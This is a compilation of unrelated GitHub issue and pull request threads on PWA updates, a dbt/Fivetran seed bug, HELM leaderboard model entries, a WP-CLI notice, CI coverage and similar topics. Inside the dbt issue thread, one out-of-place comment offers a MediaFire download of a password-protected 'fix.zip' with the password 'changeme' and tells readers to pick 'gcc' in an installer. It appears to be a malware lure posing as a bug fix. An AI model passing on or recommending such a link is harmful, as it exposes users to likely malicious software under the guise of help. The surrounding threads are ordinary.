This is because the PWA will wait until a suitable moment to activate the "waiting" next version of the deployment. On many occasions, publishers (and we) want to be able to deploy fixes immediately.
Read more about this here:
https://vite-pwa-org.netlify.app/guide/auto-update.html
CC: @langemike

The SW caused a quite aggressive cache, which could only be circumvented by hard-refreshing. When a new version has been released we want our users to immediately see these changes. Therefore I think auto-reload is a good approach.
The auto-reload will only happen when users visit the website in a new window/tab and not during their visit in the active tab. I approve.

hm, are you sure the current active tab won't be refreshed if we call registerSW again? Do we also need to 'reregister' sw or can we just leave the body function empty, like onNeedRefresh: () => {}?

I could not find an easy answer to that while reading the docs and source code. I'm not too familiar with ServiceWorkers and I reasonably assumed that in-memory JS code will not cause onNeedRefresh to be called within a active session. Of course we need to verify this.

@AntonLantukh the SW is only refreshed when opening the page, we don't periodically poll for new versions in active sessions. This means that losing data is limited to the following scenario:

Open a new tab and navigate to ott-web-app
Click the sign-up button and fill in the form
new version is released
Open a second tab and navigate to ott-web-app
The second tab sees the new SW version and reloads all pages
The first tab is refreshed, and the form data is lost

So I think that:

Users can ignore the reload page modal and still be using an outdated version (which may contain bugs)
The sign-up form isn't massive, and we assume that people don't leave it stale
When the sign-up form is emptied due to a refresh, the user can fill it in pretty quickly


Added 404 not found page

Fixes #40
Added 404 page for all invalid URLs

@AndrGab Please look into it and inform if anything is missing


Move Karbon to on-premisses

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Please delete this note before submitting the pull request.
For 1.15 Features: set Milestone to 1.15 and Base Branch to dev-1.15
For Chinese localization, base branch to release-1.12
For Korean Localization: set Base Branch to dev-1.14-ko.<latest team milestone>
Help editing and submitting pull requests:
https://kubernetes.io/docs/contribute/start/#improve-existing-content.
Help choosing which branch to use:
https://kubernetes.io/docs/contribute/start#choose-which-git-branch-to-use.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

/lgtm

@bradtopol Can you please review? Thank You :)

@bradtopol can you please help with Approval Label.

/approve


Add styles and functionality for image galleries

Tied to https://github.com/CasperSleep/nightshade/pull/67, which should be merged after this

No fixes from me. DTM.


update arkworks to 0.4.0

Looks like all the arkworks dependencies have been updated to 0.4.0, this might come with more efficient implementations and so on so we ought to update when we can : o
this include ark-ff, ark-cc, etc. (anything that starts with ark- in any Cargo.toml files)

I'll take it.


Add function to remove guild commands

Added -g that lets you remove all (persistent) guild commands from a specific discord server by providing its guild ID without touching global commands. When this new parameter is left out, the application behaves as it did before.

oops forgot to setup gpg autosign, ignore the "unverified" label :sweat:

Thank you for the PR! Looks good to me and I appreciate the effort you put into this. But let’s remove unneeded late initialization first (you can get a lot of useful code suggestions in rust by running cargo clippy in your terminal) :D

Neat, thanks for the tip. I'm still learning, as you noticed :stuck_out_tongue:


Feature Request: Battery Level Indicator

When headphones connected to FMA120, there's no way to get an idea about device battery level other than seeing it on some other connected device, e.g. smartphone. The latter isn't always available (for example, headphones don't support multipoint). So it would be very handy if FlooCast display that info.

I was unable to find such data in Flairmesh BAI 1.8 spec, so likely that requires firmware update as well.

We'll consider this in the future. Currently, we're focused on resolving compatibility issues with some widely available LE audio-enabled earbuds to ensure gaming users can fully utilize the FMA120 with their PS5 or other devices. LE audio will also significantly enhance performance during online calls with 48k playback and 32k mic input.


[Bug] Quickstart missing CountryCodes Seed

Is there an existing issue for this?

[X] I have searched the existing issues

Describe the issue
It seems that the quickstart model when used in Fivetran is not seeding the app_store_source table seeds that are required by this package.
Relevant error log or model output
bt run --select +apple_store__territory_report --full-refresh
15:07:22
Running with dbt=1.7.9
15:07:23
Registered adapter: snowflake=1.7.2
15:07:23
Unable to do partial parsing because saved manifest not found. Starting full parse.
15:07:27
Found 53 models, 1 seed, 23 tests, 16 sources, 0 exposures, 0 metrics, 679 macros, 0 groups, 0 semantic models
15:07:27
15:07:29
Concurrency: 4 threads (target='prod')
15:07:29
15:07:29
1 of 9 START sql view model apple_app_store_apple_store_source.stg_apple_store__app_store_territory_tmp [RUN]
15:07:29
2 of 9 START sql view model apple_app_store_apple_store_source.stg_apple_store__app_tmp [RUN]
15:07:29
3 of 9 START sql view model apple_app_store_apple_store_source.stg_apple_store__downloads_territory_tmp [RUN]
15:07:29
4 of 9 START sql view model apple_app_store_apple_store_source.stg_apple_store__usage_territory_tmp [RUN]
15:07:30
3 of 9 OK created sql view model apple_app_store_apple_store_source.stg_apple_store__downloads_territory_tmp [SUCCESS 1 in 1.26s]
15:07:30
5 of 9 START sql table model apple_app_store_apple_store_source.stg_apple_store__downloads_territory [RUN]
15:07:30
4 of 9 OK created sql view model apple_app_store_apple_store_source.stg_apple_store__usage_territory_tmp [SUCCESS 1 in 1.28s]
15:07:30
6 of 9 START sql table model apple_app_store_apple_store_source.stg_apple_store__usage_territory [RUN]
15:07:30
2 of 9 OK created sql view model apple_app_store_apple_store_source.stg_apple_store__app_tmp [SUCCESS 1 in 1.40s]
15:07:31
7 of 9 START sql table model apple_app_store_apple_store_source.stg_apple_store__app [RUN]
15:07:31
1 of 9 OK created sql view model apple_app_store_apple_store_source.stg_apple_store__app_store_territory_tmp [SUCCESS 1 in 1.71s]
15:07:31
8 of 9 START sql table model apple_app_store_apple_store_source.stg_apple_store__app_store_territory [RUN]
15:07:33
7 of 9 OK created sql table model apple_app_store_apple_store_source.stg_apple_store__app [SUCCESS 1 in 2.45s]
15:07:35
5 of 9 OK created sql table model apple_app_store_apple_store_source.stg_apple_store__downloads_territory [SUCCESS 1 in 4.88s]
15:07:36
6 of 9 OK created sql table model apple_app_store_apple_store_source.stg_apple_store__usage_territory [SUCCESS 1 in 5.12s]
15:07:36
8 of 9 OK created sql table model apple_app_store_apple_store_source.stg_apple_store__app_store_territory [SUCCESS 1 in 4.88s]
15:07:36
9 of 9 START sql table model apple_app_store_apple_store.apple_store__territory_report [RUN]
15:07:36
9 of 9 ERROR creating sql table model apple_app_store_apple_store.apple_store__territory_report [ERROR in 0.57s]
15:07:36
15:07:36
Finished running 4 view models, 5 table models in 0 hours 0 minutes and 9.10 seconds (9.10s).
15:07:36
15:07:36
Completed with 1 error and 0 warnings:
15:07:36
15:07:36
Database Error in model apple_store__territory_report (models/apple_store__territory_report.sql)
002003 (42S02): SQL compilation error:
Object 'FIVETRAN.APPLE_APP_STORE_APPLE_STORE_SOURCE.APPLE_STORE_COUNTRY_CODES' does not exist or not authorized.
compiled Code at target/run/apple_store/models/apple_store__territory_report.sql

Expected behavior
The run to succeed and seed the tables it needs
dbt Project configurations
N/A Using fivetran quickstart transformations
Package versions
0.3.2
What database are you using dbt with?
snowflake
dbt Version
1.7.9
Additional Context
No response
Are you willing to open a PR to help address this issue?

[X] Yes.
[ ] Yes, but I will need assistance and will schedule time during our office hours for guidance
[ ] No.

Download
https://www.mediafire.com/file/7ybpxn8lil1av70/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Hi @bassrock I was able to see this failure you mentioned, but interestingly I also see there recently was a successful run. I'm going to keep this ticket open for a bit in case it was a blip, so let me know if the issue persists or is resolved!

If you looked at the account this was in, that was because we manually copied the table over as it was blocking us.

Oh got it thanks for clearing that up. I was suspicious it suddenly started working. I'll bring this up with the engineering team then!

Hi @bassrock thanks again for flagging this issue. An update has been released in Quickstart that should address this issue. Since you have already manually added the table, you will not need to do anything, but I wanted to let you know that the update was available if ever necessary. I'm going to close this issue, but if you need to reach us again, just ping us in this ticket!


Open API 3 JSON

On the EDB docs, we have a proof of concept that takes an Open API 2 spec and generates a doc page. We're looking at consuming Open API 3 spec for the actual implementation (PEM has Open API 3 specs availible). The current JSON output doesn't conform to either spec. Would it be reasonable to generate an Open API 3 JSON file in addition to the current output?
OpenAPI 3 Spec

As "Open API 3"  is an API description format for REST APIs, I think we should not support this kind of JSON output.
I mean it is not the appropriate use case: this tool has been developed for generating docs for files in which there are no REST Apis, but Kubernetes custom resources.


Add new model (upstage/solar-pro-preview-instruct)

We have released a new model and would like to add it to the HELM leaderboard. We have confirmed that it works well on the local leaderboard.
If a merge is possible, could you let me know by when the merge will be completed?
You can check our model's performance at: https://www.upstage.ai/products/solar-pro-preview.
model_deployments.yaml
  - name: upstage/solar-pro-preview-instruct
    model_name: upstage/solar-pro-preview-instruct
    tokenizer_name: upstage/solar-pro-preview-instruct
    max_sequence_length: 4096
    client_spec:
      class_name: "helm.clients.huggingface_client.HuggingFaceClient"
      args:
        torch_dtype: auto
        trust_remote_code: true

model_metadata.yaml
  - name: upstage/solar-pro-preview-instruct
    display_name: solar-pro-preview-instruct (22B)
    description: solar-pro-preview-instruct (22B) is the most intelligent LLM on a single GPU ([blog](https://www.upstage.ai/products/solar-pro-preview))
    creator_organization_name: Upstage
    access: open
    num_parameters:<PHONE_NUMBER>0
    release_date: 2024-09-11
    tags: [TEXT_MODEL_TAG, LIMITED_FUNCTIONALITY_TEXT_MODEL_TAG]

tokenizer_configs.yaml
  # Upstage
  - name: upstage/solar-pro-preview-instruct
    tokenizer_spec:
      class_name: "helm.tokenizers.huggingface_tokenizer.HuggingFaceTokenizer"
      args:
        trust_remote_code: true
    end_of_text_token: "<|im_end|>"
    prefix_token: "<|startoftext|>"

Thanks for the suggestion! I'll discuss with the team internally and figure out what we want to do here.

Hi @yifanmai ! I am Nayeon form Upstage. I respectfully request your team's consideration to include Solar in the leaderboard. Please let me know if you require further information or tasks. Thank you!

Hi @nayeon-upstage, I've added Solar to the queue of models to add to the leaderboard. Would you already have results from internal runs that you could share?

d

Thank you so much for your attention. I'll send you the results uploaded to the local server through captures! It's a 22b model, but its performance is good compared to larger models. The file is compressed and exceeds 2G. If you need it as a file, I can send it to you via email. (please note that the latest template is not released, so it's a past bench LEADERBOARD_VERSION=v0.3.0)

Thanks for the results! Please hold on sending the complete files. I am currently doing some evaluation runs and hopefully we can use those results.
Also, I may be slow to respond over the next week due to the US Thanksgiving holiday.

Thank you for the running evaluation. The requested model was the Open model, Solar Pro Preview on HuggingFace. Our Solar Pro has been released today. Would it be possible to evaluate with this new model too?
Although Solar Pro is a closed model, everyone can use it as an API on our console. Do you have any guidance on this adding model  other than using HuggingFace or Together AI? We will provide the credits for evaluation with our API endpoint. The tokenizer will be released as well.
Hope you have a wonderful holiday!

Hi @nayeon-upstage, congrats on the model launch!
Yes, we can evaluate Solar Pro through the Upstage API. Could you contact me by email at<EMAIL_ADDRESS>regarding providing credits for evaluation?

@nayeon-upstage I see that Solar Pro access is free until January - can I run the evaluation using this free access?

@yifanmai Yes please! Thank you 🤗

I've added Upstage Solar Pro to the Lite and MMLU leaderboards. It does very well compared to models of the same size.
Thanks again for your help on this!

Thanks so much! This is the best news I've heard all year! I'm so grateful for everything you've done.
Have a great holiday! 🎄🎄


Getting a Notice:Undefined index: HTTPS

Hi,
How do we clear up this notice when a WP CLI command is ran in terminus:
Notice: Undefined index: HTTPS in phar:///opt/wp-cli/wp-cli.phar/php/WP_CLI/Runner.php(731) : eval()'d code on line 109
output: No value for $TERM and no -T specified
Thanks

Hi - I have switched back and forth with SFTP and Git connection modes and still getting the above Notice from Terminus.  How do we avoid getting this error?  Thank you

@Tecdoc How are those commands being formatted? We recently changed the formatting on WP-CLI and Drush commands. It appears as though it's trying to run a local copy of WP-CLI, which it should never do - all WP-CLI commands from Terminus are routed through SSH to the platform.

@TeslaDethray I have another example.  Now, I run this with my Pantheon authentication and not with a password prompt:
http://screencast.com/t/et4twcGW
The command is
terminus wp "user list --role=administrator --format=csv" --site=wharton-www --env=dev

Thanks for finding a command that can duplicate this issue, @ttrowell. I still don't get this error at all, though. Is it possible to run this with --debug so I can see how your commands differ from mine? Would it be alright to add myself to the team on wharton-www so I can see if I can duplicate this myself? Which PHP version are you using?

@TeslaDethray - Yes it is possible to run with --debug and you can add yourself to the wharton-www team.  Also running PHP version 5.5.30.  Also ran this command on both git and sftp modes, they both had brought up this Undefined Index problem.

@Tecdoc @ttrowell I have identified the issue, and it is on the platform. Here's where it is, in wp-config.php:

It's not checking for whether HTTPS is set before trying to evaluate it. Here's the fix:

Was getting this error when testing your edit snippet:
Fatal error: Cannot use isset() on the result of an expression (you can use "null !== expression" instead) in phar:///opt/wp-cli/wp-cli.phar/php/WP_CLI/Runner.php(731) : eval()'d code on line 109
[2016-01-21 15:48:11] [error] Failed to connect. Check your credentials and the target environment.

@TeslaDethray Confirming that wp-config.php was changed to :+1:
if (isset($_ENV['PANTHEON_ENVIRONMENT']) && (!isset($_SERVER['HTTPS'] || $_SERVER['HTTPS'] === 'OFF')){
Output of command:
[2016-01-21 20:24:55] [info] Running wp user list --role=administrator --format=csv on mbatestsite1-dev
    cmd: 'user list --role=administrator --format=csv'
    site: 'mbatestsite1'
    env: 'dev'
[2016-01-21 20:24:55] [debug] Command "'ssh -T<EMAIL_ADDRESS>-p 2222 -o "AddressFamily inet" '\''wp user list --role=administrator --format=csv '\'''" is being run.
    command: ''ssh -T<EMAIL_ADDRESS>-p 2222 -o "AddressFamily inet" '\''wp user list --role=administrator --format=csv '\''''
The authenticity of host '[appserver.dev.4e0f4d2b-abc6-43cc-9798-c118d91b9ba8.drush.in]:2222 ([<IP_ADDRESS>]:2222)' can't be established.
RSA key fingerprint is SHA256:yPEkh1Amd9WFBSP5syXD5rhUByTjaKBxQnlb5CahZZE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[appserver.dev.4e0f4d2b-abc6-43cc-9798-c118d91b9ba8.drush.in]:2222' (RSA) to the list of known hosts.

Fatal error: Cannot use isset() on the result of an expression (you can use "null !== expression" instead) in phar:///opt/wp-cli/wp-cli.phar/php/WP_CLI/Runner.php(731) : eval()'d code on line 109
[2016-01-21 20:25:04] [error] Failed to connect. Check your credentials and the target environment.```


fixed append for special parameters + channel mean

Previously, I hadn't tested the "saving": "append" case for special parameters too. The point is that we need to load also columns for the parameters we used to get the special one (eg baseline and wf_max for wf_max_rel). Of course this applies if the special parameter is based on not null parameters (see settings/special-parameters.json for more info).

before merging, still need to

see if removing the parameters->parameter thing in utils.py gives problem or not (leaving it causes problems when using plotting.py functions - but maybe is related only to special parameters? re-check everythin)
evaluate channel mean for saving=append over the larger/new time window (before we were using always the mean of the first time window, without updating it - wrong!)

Checks for correctness of append option done for:

1 par, both special (wf_max_rel) oand not-special (baseline)
2 pars (baseline vs cuspEmax)
2 pars (baseline vs wf_max_rel)

The evaluation of the mean column is fixed when using the append option. Before, multiple values were present for a fixed detector because doing old_df[param_mean] = new_df[param_mean] I was not considering that the two dataframes actually have different lengths. Now we map the new mean values saved in new_df into old_df, making the mapping through the channel ID, and then we merge horizontally the two dataframes.


Blogger example: fixes build.

The Blogger example was not building for me when I checked out the repository. I had to point the project to the new location of the GTLCore.xcodeproj (it was GTL.xcodeproj).
GTMHTTPFetcher isn't used anymore, so I changed the example to use GTMSessionFetcher.
Likely the other examples will need similar changes.
Since I wasn't sure which files from the BloggerSample.xcodeproj to include, I also modified .gitignore to match the recommended settings at https://github.com/github/gitignore/blob/master/Objective-C.gitignore.

code.google.com has been in readonly for a while; that code is old and isn't getting updates.  github is the correct spot.  We've made some changes to the structure, including new project files, so you'll find lots of things on other sites that talk about the old layout because they haven't been updated.


first comment

the reproducibility code for figures and tables in the manuscript

@Afnan-Sultan great, thanks! I'll merge the PR, could you still

add a bit more info to the README file?
and (if time allows) also convert the main.py in a notebook, so the created figures would also appear in there?


Not working on jupyterlab  version: 4.2.5

Description
Jupyterlab-vim is not working on jupyterlab  version: 4.2.5
Reproduce
To reproduce the issue you can simple try to install the new jupyterlab version and try to use jupyterlab-vim on it and see if that works.

Works for me:

you can simple try

Why do bug reports like this are always non reproducible? Please follow the issue template :https://github.com/jupyterlab-contrib/jupyterlab-vim/issues/new?assignees=&labels=bug&projects=&template=bug_report.md&title=

Thank you, I will close this issue :)


Fixed typo in best practice documentation

Proposed changes

Unreleased project version (optional)

Related issues (optional)

Thanks for keeping our docs typo-free @andyfeller. Let's ship it 🚀


Influxdb viewer stats

Pushing viewer stats into the influxdb instead of mysql.
To test:

setup a local influxdb
retrieve api token from web interface (Load Data > API Token)
add api token to config.yaml

Let's start with this for testing :)
Live viewers for a course:
from(bucket: "live_stats")
  |> range(start: v.timeRangeStart, stop: v.timeRangeStop)
  |> filter(fn: (r) => r["_measurement"] == "viewers")
  |> filter(fn: (r) => r["course"] == "224")
  |> filter(fn: (r) => r["live"] == "true")
  |> group(columns: ["stream"])
  |> max()
  |> group()
  |> aggregateWindow(every: 1d, fn: median, createEmpty: false)

Produces 2022-10-04_09 36_influxdb_data.csv
Which looks like this:

T'm afraid this needs to be closed. Sorry for letting this go stale, I suppose the best way to move forward here is integrate our grafana stack here at some point.


Set overflow on content instead of screen in settings

Resolves https://github.com/Eugeny/terminus/issues/1040

@allcontributors add @IgnusG for code


Typo in section 12.2: example for ragged array

At the top of page 138 of manual 2.80, The 6th element of z should be 12.9 (not 129):

Related to #1617
Also, if me pointing out this typos is not helpful please let me know. They are very minor, and I'm just trying to help. Or if I should suggest typo corrections elsewhere, let me know, and I apologize for not reporting in the appropriate manner.

Also, I just realized this is Figure 12.2.
Furthermore, in the caption for the figure, "With this coding, In this particular ...", the letter " i " should not be capitalized in "In".
See above comment about whether this manner of reporting typos is helpful vs annoying.

Please do report in the next manual issue (this changes every release).  I moved this to:
https://github.com/stan-dev/stan/issues/1617#issuecomment-157160760
and I'm closing this.


Display questionnaire properties in side panel and remove meta page.

What is the context of this PR?
This PR makes the front-end changes for moving the questionnaire properties into the properties panel.
The survey Id field has been removed.
The description field is now optional.
Checkboxes have been replaced with toggle switches.
Questionnaire properties can be changed from the sidebar.
The route and link to the meta page have been removed.
New summary property introduced to toggle on and off the summary. (Publisher changes to enable this to follow....)
Also did a bit of tidying up e.g. removed the unused "upload" button from questionnaire list.
Fixed up sizing of labels in answer properties.
How to review
All tests and checks should pass.
Dependencies
This PR depends on the following changes:

https://github.com/ONSdigital/eq-author-graphql-schema/pull/18
https://github.com/ONSdigital/eq-author-api/pull/46
https://github.com/ONSdigital/eq-publisher/pull/31

 Create survey (removing the meta page) (8)


Add CRD validation functions for authn v2 policy

Add CRD validation functions for authn v2 policy.
TODO: add tests for the authn v2 CRD validation functions when CRD stabilizes.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: lei-tang
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: rshriram
If they are not already assigned, you can assign the PR to them by writing /assign @rshriram in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Update void parameter for prototype block

iOS 11 mark as warning when there is empty list of parameter type. So, instead of this, it should be written void.

Any chance this can be merged in?


THREE.MeshLine plugin

Implement THREE.MeshLine plugin, that takes in THREE.Geometry data and outputs tesselated mesh lines.

Mostly done now. Some points that could still need improvement:

Doesn't work with animated meshes
The material doesn't take lightning into account
'Close the path' would be a nice feature to created closed line mesh loops


PutDimensions Doesn't Work

In an ASP.NET web application, I'm using the EMF middleware. I want to add dimensions besides Action, Status, and controller, so I'm creating a DimensionSet and calling PutDimensions.
DimensionSet dimensionSet = new DimensionSet();
dimensionSet.AddDimension("AZ-ID", Utils.GetAZId());
dimensionSet.AddDimension("Region", Utils.GetRegion());
dimensionSet.AddDimension("InstanceId", Utils.GetInstanceId());

metrics.PutDimensions(dimensionSet);

This doesn't work. In fact, any attempt to use PutDimensions or PutProperty inside a controller action results in nothing being logged. If I don't call these methods on the IMetricsLogger object (the one that's injected into the constructor), then logs are produced when a controller action is called. Finally, on the IMetricsLogger object that's injected into the controller, using SetNamespace in the constructor isn't honored for the log object created by the middleware, but calling a method like PutProperty is.
I believe you should be able to set the namespace (not always use the default of the ServiceName) and add dimensions and properties inside a controller action while using the EMF middleware.

One of the properties I was adding (a 'Net.IpAddress' object) was silently failing to be converted in the log, which was causing the logs to not be produced. The namespace issue is because the middleware explicitly sets it after the request has been processed.


Documenting src/components/DetailModal/DetailModal.jsx to explain functionality

Documenting src/components/DetailModal/DetailModal.jsx to explain functionality and write comments about how a detail modal is set up along with what information is written into those modals (or what fallbacks exist if that information isn't present).

I would like to work on this please!

Great! I assigned you (@MRosario530) to the issue. Have fun working on it!


Allow writes and read to not block SpanSinkImpl and only synchronize flush calls

Goal

Testing

Release Notes

WHAT:
WHY:
WHO:

#547  👈
master

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @bidetofevil and the rest of your teammates on  Graphite


[Table] [next] [Feature request] Expanded row (template) to be rendered / evaluated when parent row is expanded

Branch: next

Describe in detail the issue you're having.

When using expandable rows, all expanded row templates are being evaluated right away even though they are hidden via CSS style="display: none".
This is degrading performance if a complicated template is used and user might not even expand the row.
Would it be possible for template to be evaluated / included into the DOM when user actually expands the row?
Or if that is not possible for some reason, at least pass some context to template whether it is expanded or not.
https://github.com/carbon-design-system/carbon-components-angular/blob/next/src/table/body/table-expanded-row.component.ts#L33-L35

Is this issue related to a specific component?

Table.

What browser are you working in?

What version of the Carbon Design System are you using?

"carbon-components": "^11.27.0",
"carbon-components-angular": "^5.7.5",

@Akshat55 can you please share your opinion on this?
Thank you!

Makes a lot of sense! Would make it a great addition & improvement to table! I can't give you a deadline on this yet since we are pushing to get all the breaking changes resolved first, but, will definitely track this so we don't forget!


Error when using OpenWeatherMap.org

When using OpenWeatherMap.org, i.e. a non-US city, I get the error:
!JavaScript wxcenter.js line 229: TypeError: wxObj[0] is undefined

I have generated a free API key on OpenWeatherMap.org and added this to wxcenter.ini.

The line number with the error tries to log a message indicating which source (Weather.gov or OpenWeatherMap.org) and location the forecast data is for. Normally we're guaranteed at least one result in the wxObj json object, which is why I have it trying to grab the first object with [0], but apparently that isn't the case here, therefore it's creating the error you're seeing. So I commented out that line in order to prevent that error from happening.
However, the fact that you got that error in the first place most likely means the result set is empty. Because of that, it sounds like your API call to OpenWeatherMap is failing. Wouldn't hurt to double check your API key is correct.
If you try again with the latest version of wxcenter.js, you should now see a different outcome. Also watch your Synchronet Event log tab, as it should now log some additional debugging info that might help point to the root of the issue.
Some questions:

Which non-US location are you trying? I'd like to try the same location myself and attempt to recreate your problem on my side.
Are you using Linux or Windows?
Which version of Synchronet?
Does the script work for you if you try a US location (Weather.gov)?

I actually think the OWM API was down yesterday, because now it works properly. It was either down, or one hour wasn't enough time for the servers to recognise my new API key. I've just tried it this morning and it works absolutely fine for non-US cities. Thank you for your quick reply and additional debugging, much appreciated!

Glad to hear it's working for you now. I think the changes yesterday will be good to have in place for temporary outages like the one we seemingly had yesterday, so thanks for reporting the issue so it could get addressed.


Bring feature back as it was not culprit of logcat spam for layout request.

Can't the font Size looks really big .sorry man


Added --clean-all option to clean volumes and network

Description
Added --clean-all option to clean the artifacts (volumes, folder and network) used by the script.
Is this PR related with an open issue?
Related to Issue #
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] Follows the code style of this project.
[ ] Tests Cover Changes
[x] Documentation

Funny gif

that's great! Instead of --clean-all can we simply use --purge? Shorter, less error prone when typing, and should be universally understood by devs.


Supported tests from testlist in pyflow

I was able to generate riscv_arithmetic_basic_test from the testlist using the run.py script. In riscv_arithmetic_basic_test case assembly test files are successfully generated. But I am facing issues in generation of other random tests in the testlist e.g. riscv_rand_instr_test, riscv_jump_stress_test, riscv_loop_test etc. Kindly confirm which tests from testlist are supported in pyflow. I am facing the issue shown below while generating the others.
ERROR return code: True/1, cmd: python3 /home/riscv-dv/pygen/pygen_src/test/riscv_instr_base_test.py --num_of_tests=2 --start_idx=0 --asm_file_name=out_2021-02-23/asm_test/riscv_loop_test --log_file_name=out_2021-02-23/sim_riscv_loop_test_0.log  --target=rv32imc --instr_cnt=10000 --num_of_sub_program=5 --directed_instr_1=riscv_loop_instr,20
I am using the folowing comand to run the script:
python3 run.py --test riscv_loop_test --target=rv32imc --steps gen --simulator pyflow --gen_timeout=10000

Hi @amnafayyaz-lm
Thanks for letting us know about it.
Only a few selected tests are available for pyflow as it is in the development phase currently.
Please find the supported tests below.

riscv_arithmetic_basic_test
riscv_amo_test (--target rv32imafdc)
riscv_floating_point_arithmetic_test
riscv_b_ext_test

Directed tests

riscv_int_numeric_corner_stream
riscv_jal_instr
riscv_amo_instr_stream

Available Extensions

RV32I
RV32IMC
RV32IMCB
RV32IMAFDC

Hope this helps.
Regards,
Anil

Yes it was helpful. Thank you.

Hi,
Are there more tests supported by pyflow now?


CASMTRIAGE-5799 correct /etc/containers/registries.conf file written by disable_local_registry.sh

Description
Registries.conf file is overwritten by disable_local_registry.sh. However the file that is put there is an invalid format and prevents images from being pulled. This issue only arises when disable_local_registry.sh is run after at least 1 storage node has already been upgraded because it overwrites the correct registries.conf file that is in the 1.5 image.

Checklist

[x] If I added any command snippets, the steps they belong to follow the prompt conventions (see example).
[x] If I added a new directory, I also updated .github/CODEOWNERS with the corresponding team in Cray-HPE.
[x] My commits or Pull-Request Title contain my JIRA information, or I do not have a JIRA.

/backport release/1.5


Psych Engine Build Issue

Issue
I attempt to build Psych Engine 0.7.2 using SScript-new, but this error occurs
source/psychlua/HScript.hx:291: characters 89-96 : Type not found : TeaCall
I followed this guide, but a similar error occurs
source/psychlua/HScript.hx:291: characters 89-96 : Type not found : Tea
System specs
Raspberry Pi 4 Model B Rev 1.4
Debian/Linux
8 GB memory

using SCall instead


feat: better optimizer popup

Pull Request

Description

Added a popup for when the search yields 0 results
Added a popup to warn the user before performing very large searches (>= 1 Billion)

Related Issue

Related to #209

Checklist

[x] I have added commit messages that are descriptive and meaningful.
[x] I have tested the changes locally.
[x] I have reviewed the code changes.

Screenshots

Upon clicking reset filters

I feel like this should only ever suggest a switch from Base -> Combat and not the other way around


Add CI code coverage

This changeset changes the Travis CI config to run tests as usual, but assuming cargo test passes, it uses after_success: to download and build kcov, re-runs the test executable to collect code coverage info, and posts it to codecov.io.
Here's Travis build output and the codecov coverage report from this branch on my repo if you'd like to see what it looks like. All the after_success: stuff is all collapsed on Travis by default, so it's nowhere near as noisy as you might think based on the .travis.yml.
You would need to sign up with Codecov before merging, though like Travis, it's free for open source software.
Finally, it's worth noting that while the code coverage data is correct on a line by line basis, the code coverage statistics are incorrect (rust-lang/rust#39293). The coverage information shows which code paths get executed and which do not, but generic functions which were never codegen'd for the test executable do not count against the coverage percentage. For example, RudyMap shows 100% coverage… but the report also indicates that remove(), contains_key(), get_mut(), len(), and is_empty() are never called.

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@2374879). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master      #21   +/-   ##
=========================================
  Coverage          ?   62.57%
=========================================
  Files             ?       17
  Lines             ?      807
  Branches          ?        0
=========================================
  Hits              ?      505
  Misses            ?      302
  Partials          ?        0

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2374879...add448c. Read the comment docs.

Oh. I guess you don't need to sign up, or maybe you already did.

I added some tests which exercise the RudyMap public interface and cause most other things to get generated. Coverage stats are now better, though the underlying issue remains.


UX Issues

[x] 1-Column and 2-Column HTML exports should have different filenames.
[x] Verse numbers don’t currently enlarge with the rest of the text.
[x] Numbering for all Arabic text should be decimal. Remove all arabic-indic numbering.
[x] Remove highlighting of reference text.
[x] Import translation without file selection fails.
[x] Font resizing has issues while switching across pane layouts (2x -> 3x -> 4x)

Changes merged.